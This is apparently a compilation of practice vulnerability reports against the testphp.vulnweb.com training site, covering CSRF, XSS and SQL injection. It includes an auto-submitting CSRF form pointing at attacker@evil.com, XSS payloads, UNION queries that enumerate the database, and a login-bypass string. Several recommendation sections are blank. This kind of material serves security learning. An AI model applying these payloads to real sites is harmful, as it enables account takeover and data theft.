All Professional Vulnerability Reports

---

🛡️ CSRF Vulnerability Report

Researcher: Asher (BugsHunter)
Date: July 26, 2025

🎯 Target

Website: testphp.vulnweb.com
Endpoint: /userinfo.php

🕷️ Vulnerability Overview

A Cross-Site Request Forgery (CSRF) vulnerability was discovered in the profile update functionality. The application lacks anti-CSRF tokens and fails to verify request origins, allowing attackers to forge unauthorized requests on behalf of authenticated users.

📋 Proof of Concept

<html>
<body>
<form action="http://testphp.vulnweb.com/userinfo.php" method="POST">
<input type="hidden" name="urname" value="Hacked by Asher ">
<input type="hidden" name="ucc" value="1234-5678-0000-0000">
<input type="hidden" name="uemail" value="attacker@evil.com">
<input type="hidden" name="uphone" value="0000000000">
<input type="hidden" name="uaddress" value="CSRF Street 1337">
<input type="hidden" name="update" value="update">
<input type="submit" value="Submit CSRF">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

💥 Impact

An attacker can:

🛠️ Recommendation

🔒 Severity

OWASP Risk: Medium
CWE: CWE-352 - Cross-Site Request Forgery (CSRF)

Report generated by BugsHunter | Asher | 2025

---

🛡️ XSS Vulnerability Report

Researcher: Asher (BugsHunter)
Date: July 26, 2025

🎯 Target

Website: testphp.vulnweb.com
Endpoint: /search.php

🕷️ Vulnerability Overview

The application is vulnerable to both Reflected and Stored Cross-Site Scripting (XSS) attacks. User input is rendered in the HTML output without proper encoding or sanitization, allowing attackers to inject malicious JavaScript.

📋 Proof of Concept

Reflected XSS Payload:

alert("Reflected XSS")

Tested URL: https://testphp.vulnweb.com/search.php?test=alert("Reflected XSS")

Stored XSS Payload:

<script>alert("Stored XSS")</script>

Test Steps:

  1. Login with test/test
  2. Inject payload in search field
  3. Navigate back or refresh to trigger the payload

💥 Impact

An attacker can execute arbitrary JavaScript in the victim’s browser context. This can lead to:

🛠️ Recommendation

🔒 Severity

OWASP Risk: High
CWE: CWE-79 - Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

Report generated by BugsHunter | Asher | 2025

---

🛡️ SQL Injection Vulnerability Report

Researcher: Asher (BugsHunter)
Date: July 26, 2025

🎯 Target

Website: testphp.vulnweb.com
Endpoint: /artists.php?artist=

🕷️ Vulnerability Overview

The application is vulnerable to SQL Injection via the artist parameter. Unsanitized input is directly passed to SQL queries, allowing an attacker to manipulate queries and extract sensitive database information.

📋 Proof of Concept

Payload: 

' OR 1=1 --

Error-based payload: 

1'

Order by testing: 

?artist=1 ORDER BY 1 -- ✅

?artist=1 ORDER BY 4 -- ❌ (error)

Union Exploitation:

?artist=-1 UNION SELECT 1,2,database() -- ➜ acuart

?artist=-1 UNION SELECT 1,2,table_name FROM information_schema.tables WHERE table_schema='acuart' LIMIT 7,1 -- ➜ users

?artist=-1 UNION SELECT 1,2,column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1 -- ➜ uname

?artist=-1 UNION SELECT 1,2,column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1,1 -- ➜ pass

💥 Impact

An attacker can enumerate tables, extract usernames, passwords, credit card details (cc), and other sensitive data. This can lead to full database compromise.

🛠️ Recommendation

🔒 Severity

OWASP Risk: High
CWE: CWE-89 - Improper Neutralization of Special Elements used in an SQL Command

Report generated by BugsHunter | Asher | 2025

---

SQL Injection (Login Bypass)

🧠 Vulnerability Type:
SQL Injection – Authentication Bypass

🖥️ Affected URL:
http://testphp.vulnweb.com/login.php

🧪 Parameters Tested:

🧨 Payload Used:
Username: admin
Password: 

' OR 'a'='a

💥 Impact:
This payload bypasses the login mechanism by injecting a malicious SQL condition that always evaluates to true ('a'='a'). It results in unauthorized access to user accounts without knowing valid credentials.

⚙️ Technical Explanation:
Original query: 

SELECT * FROM users WHERE username = '$username' AND password = '$password';

Injected query:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR 'a'='a';

Effective query:

SELECT * FROM users WHERE (username = 'admin' AND password = '') OR 'a'='a';

✅ Proof of Concept:

⚠️ Risk Level:
High – Allows complete authentication bypass and unauthorized admin access.

🛡️ Recommendation:

🧾 Reported By:
Asher aka bugshunter
Cybersecurity Researcher & Ethical Hacker

Report generated by bugshunter | Asher | 2025